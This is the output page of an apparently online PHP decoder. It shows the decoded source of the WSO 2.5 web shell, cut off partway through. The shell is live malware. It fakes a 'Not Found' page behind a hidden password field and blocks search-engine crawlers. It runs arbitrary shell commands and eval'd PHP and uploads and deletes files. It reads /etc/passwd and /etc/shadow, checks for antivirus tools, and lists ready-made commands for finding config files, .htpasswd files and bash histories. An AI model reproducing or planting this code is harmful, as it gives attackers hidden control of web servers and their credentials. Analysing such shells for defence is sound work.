Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if($_SERVER["SCRIPT_NAME"] != "/index.php"){ echo "File Not Found !";die(); } ?> ..

Decoded Output download

File Not Found !$auth_pass="6244da94938ddf690522f800d66587b7";$color="#df5";$default_action='FilesMan';$default_use_ajax=true;$default_charset='Windows-1251';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/' .implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','2.5');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at  Port 80</address> 
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
    <style> 

    input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> ");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['pass'])&&(md5($_POST['pass'])== $auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!= $auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))== "win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os == 'win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!= '/')$cwd .= '/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']=(bool)$default_use_ajax;if($os == 'win')$aliases=array("List Directory"=> "dir","Find index.php in current dir"=> "dir /s /w /b index.php","Find *config*.php in current dir"=> "dir /s /w /b *config*.php","Show active connections"=> "netstat -an","Show running services"=> "net start","User accounts"=> "net user","Show computers"=> "net view","ARP Table"=> "arp -a","IP Configuration"=> "ipconfig /all");else $aliases=array("List dir"=> "ls -lha","list file attributes on a Linux second extended file system"=> "lsattr -va","show opened ports"=> "netstat -an | grep -i listen","process status"=> "ps aux","Find"=> "","find all suid files"=> "find / -type f -perm -04000 -ls","find suid files in current dir"=> "find . -type f -perm -04000 -ls","find all sgid files"=> "find / -type f -perm -02000 -ls","find sgid files in current dir"=> "find . -type f -perm -02000 -ls","find config.inc.php files"=> "find / -type f -name config.inc.php","find config* files"=> "find / -type f -name \"config*\"","find config* files in current dir"=> "find . -type f -name \"config*\"","find all writable folders and files"=> "find / -perm -2 -ls","find all writable folders and files in current dir"=> "find . -perm -2 -ls","find all service.pwd files"=> "find / -type f -name service.pwd","find service.pwd files in current dir"=> "find . -type f -name service.pwd","find all .htpasswd files"=> "find / -type f -name .htpasswd","find .htpasswd files in current dir"=> "find . -type f -name .htpasswd","find all .bash_history files"=> "find / -type f -name .bash_history","find .bash_history files in current dir"=> "find . -type f -name .bash_history","find all .fetchmailrc files"=> "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=> "find . -type f -name .fetchmailrc","Locate"=> "","locate httpd.conf files"=> "locate httpd.conf","locate vhosts.conf files"=> "locate vhosts.conf","locate proftpd.conf files"=> "locate proftpd.conf","locate psybnc.conf files"=> "locate psybnc.conf","locate my.conf files"=> "locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=> "locate cfg.php","locate conf.php files"=> "locate conf.php","locate config.dat files"=> "locate config.dat","locate config.php files"=> "locate config.php","locate config.inc files"=> "locate config.inc","locate config.inc.php"=> "locate config.inc.php","locate config.default.php files"=> "locate config.default.php","locate config* files "=> "locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=> "locate '.pwd'","locate .sql files"=> "locate '.sql'","locate .htpasswd files"=> "locate '.htpasswd'","locate .bash_history files"=> "locate '.bash_history'","locate .mysql_history files"=> "locate '.mysql_history'","locate .fetchmailrc files"=> "locate '.fetchmailrc'","locate backup files"=> "locate backup","locate dump files"=> "locate dump","locate priv files"=> "locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" .$_POST['charset'] ."'><title>" .$_SERVER['HTTP_HOST'] ." - WSO " .WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" .htmlspecialchars($GLOBALS['cwd']) ."';
    var a_ = '" .htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" .htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" .((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" .((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" .((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" .addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!== false)$explink .= urlencode('Linux Kernel ' .substr($release,0,6));else $explink .= urlencode($kernel .' ' .substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";for($j=0;$j<=$i;$j++)$cwd_links .= $path[$j] .'/';$cwd_links .= "\")'>" .$path[$i] ."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as $item)$opt_charsets .= '<option value="' .$item .'" ' .($_POST['charset']==$item?'selected':'') .'>' .$item .'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';$menu='';foreach($m as $k => $v)$menu .= '<th width="' .(int)(100/count($m)) .'%">[ <a href="#" onclick="g(\'' .$v .'\',null,\'\',\'\',\'\')">' .$k .'</a> ]</th>';$drives="";if($GLOBALS['os']== 'win'){foreach(range('c','z')as $drive)if(is_dir($drive .':\'))$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' .$drive .':/\')">[ ' .$drive .' ]</a> ';}echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' .($GLOBALS['os']== 'win'?'<br>Drives:':'') .'</span></td>' .'<td><nobr>' .substr(@php_uname(),0,120) .' <a href="' .$explink .'" target=_blank>[exploit-db.com]</a></nobr><br>' .$uid .' ( ' .$user .' ) <span>Group:</span> ' .$gid .' ( ' .$group .' )<br>' .@phpversion() .' <span>Safe mode:</span> ' .($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' .date('Y-m-d H:i:s') .'<br>' .wsoViewSize($totalSpace) .' <span>Free:</span> ' .wsoViewSize($freeSpace) .' (' .(int)($freeSpace/$totalSpace*100) .'%)<br>' .$cwd_links .' ' .wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\'' .$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>' .$drives .'</td>' .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>' .@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>' .$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>' .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' .$menu .'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" .$GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out .= fread($f,1024);pclose($f);}return $out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s >= 1073741824)return sprintf('%1.2f',$s/1073741824) .' GB';elseif($s >= 1048576)return sprintf('%1.2f',$s/1048576) .' MB';elseif($s >= 1024)return sprintf('%1.2f',$s/1024) .' KB';else return $s .' B';}function wsoPerms($p){if(($p&0xC000)== 0xC000)$i='s';elseif(($p&0xA000)== 0xA000)$i='l';elseif(($p&0x8000)== 0x8000)$i='-';elseif(($p&0x6000)== 0x6000)$i='b';elseif(($p&0x4000)== 0x4000)$i='d';elseif(($p&0x2000)== 0x2000)$i='c';elseif(($p&0x1000)== 0x1000)$i='p';else $i='u';$i .=(($p&0x0100)?'r':'-');$i .=(($p&0x0080)?'w':'-');$i .=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i .=(($p&0x0020)?'r':'-');$i .=(($p&0x0010)?'w':'-');$i .=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i .=(($p&0x0004)?'r':'-');$i .=(($p&0x0002)?'w':'-');$i .=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return $i;}function wsoPermsColor($f){if(!@is_readable($f))return '<font color=#FF0000>' .wsoPerms(@fileperms($f)) .'</font>';elseif(!@is_writable($f))return '<font color=white>' .wsoPerms(@fileperms($f)) .'</font>';else return '<font color=#25ff00>' .wsoPerms(@fileperms($f)) .'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false !==($filename=readdir($dh)))$files[]=$filename;return $files;}}function wsoWhich($p){$path=wsoEx('which ' .$p);if(!empty($path))return $path;return false;}function actionSecInfo(){wsoHeader();echo '<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo '<span>' .$n .': </span>';if(strpos($v,"
")=== false)echo $v .'<br>';else echo '<pre class=ml1>' .$v .'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (" .mysql_get_client_info() .")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo '<br>';if($GLOBALS['os']== 'nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo '<br>';$temp=array();foreach($userful as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo '<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&& is_numeric($_POST['p2'])&& is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<= $_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp .= join(':',$uid) ."
";}echo '<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo '</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"

	\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']== 'info')){echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp) .'</div><br>';}echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' .(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'') .'</textarea><input type=submit value=Eval style="margin-top:5px">';echo ' <input type=checkbox name=ajax value=1 ' .($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX</form><pre id=PhpOutput style="' .(empty($_POST['p1'])?'display:none;':'') .'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo '</pre></div>';wsoFooter();}function actionFilesMan(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo "Can't upload file!";break;case 'mkdir':if(!@mkdir($_POST['p2']))echo "Can't create new dir";break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path .'/';$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path .$item;if((basename($item)== "..")||(basename($item)== "."))continue;$type=filetype($item);if($type == "dir")deleteDir($item);else@unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f']as $f){if($f == '..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else@unlink($f);}break;case 'paste':if($_COOKIE['act']== 'copy'){function copy_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']== 'move'){function move_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(@is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)@rename($_COOKIE['c'] .$f,$GLOBALS['cwd'] .$f);}elseif($_COOKIE['act']== 'zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f']as $f){if($f == '..')continue;if(@is_file($_COOKIE['c'] .$f))$zip->addFile($_COOKIE['c'] .$f,$f);elseif(@is_dir($_COOKIE['c'] .$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f .'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as $key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']== 'unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f']as $f){if($zip->open($_COOKIE['c'] .$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']== 'tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv ' .escapeshellarg($_POST['p2']) .' ' .implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}break;}}wsoHeader();echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent === false){echo 'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" .($sort[1]?0:1) ."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" .($sort[1]?0:1) ."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" .($sort[1]?0:1) ."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" .($sort[1]?0:1) ."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=> $dirContent[$i],'path'=> $GLOBALS['cwd'] .$dirContent[$i],'modify'=> date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),'perms'=> wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'] .$dirContent[$i]),'owner'=> $ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=> $gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))$files[]=array_merge($tmp,array('type'=> 'file'));elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'link','link'=> readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!= 'size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as $f){echo '<tr' .($l?' class=l1':'') .'><td><input type=checkbox name="f[]" value="' .urlencode($f['name']) .'" class=chkbx></td><td><a href=# onclick="' .(($f['type']=='file')?'g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'view\')">' .htmlspecialchars($f['name']):'g(\'FilesMan\',\'' .$f['path'] .'\');" ' .(empty($f['link'])?'':"title='{$f['link']}'") .'><b>[ ' .htmlspecialchars($f['name']) .' ]</b>') .'</a></td><td>' .(($f['type']=='file')?wsoViewSize($f['size']):$f['type']) .'</td><td>' .$f['modify'] .'</td><td>' .$f['owner'] .'/' .$f['group'] .'</td><td><a href=# onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\',\'chmod\')">' .$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'touch\')">T</a>' .(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'download\')">D</a>':'') .'</td></tr>';$l=$l?0:1;}echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo "<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo "<option value='paste'>Paste / Compress</option>";echo "</select>&nbsp;";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']== 'zip')||($_COOKIE['act']== 'tar')))echo "file name: <input type=text name=p2 value='wso_" .date("Ymd_His") ."." .($_COOKIE['act']== 'zip'?'zip':'tar.gz') ."'>&nbsp;";echo "<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i] .$p[$i+1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%' .dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=> 'base64_encode','Base64 decode'=> 'base64_decode','Url encode'=> 'urlencode','Url decode'=> 'urldecode','Full urlencode'=> 'full_urlencode','md5 hash'=> 'md5','sha1 hash'=> 'sha1','crypt'=> 'crypt','CRC32'=> 'crc32','ASCII to HEX'=> 'ascii2hex','HEX 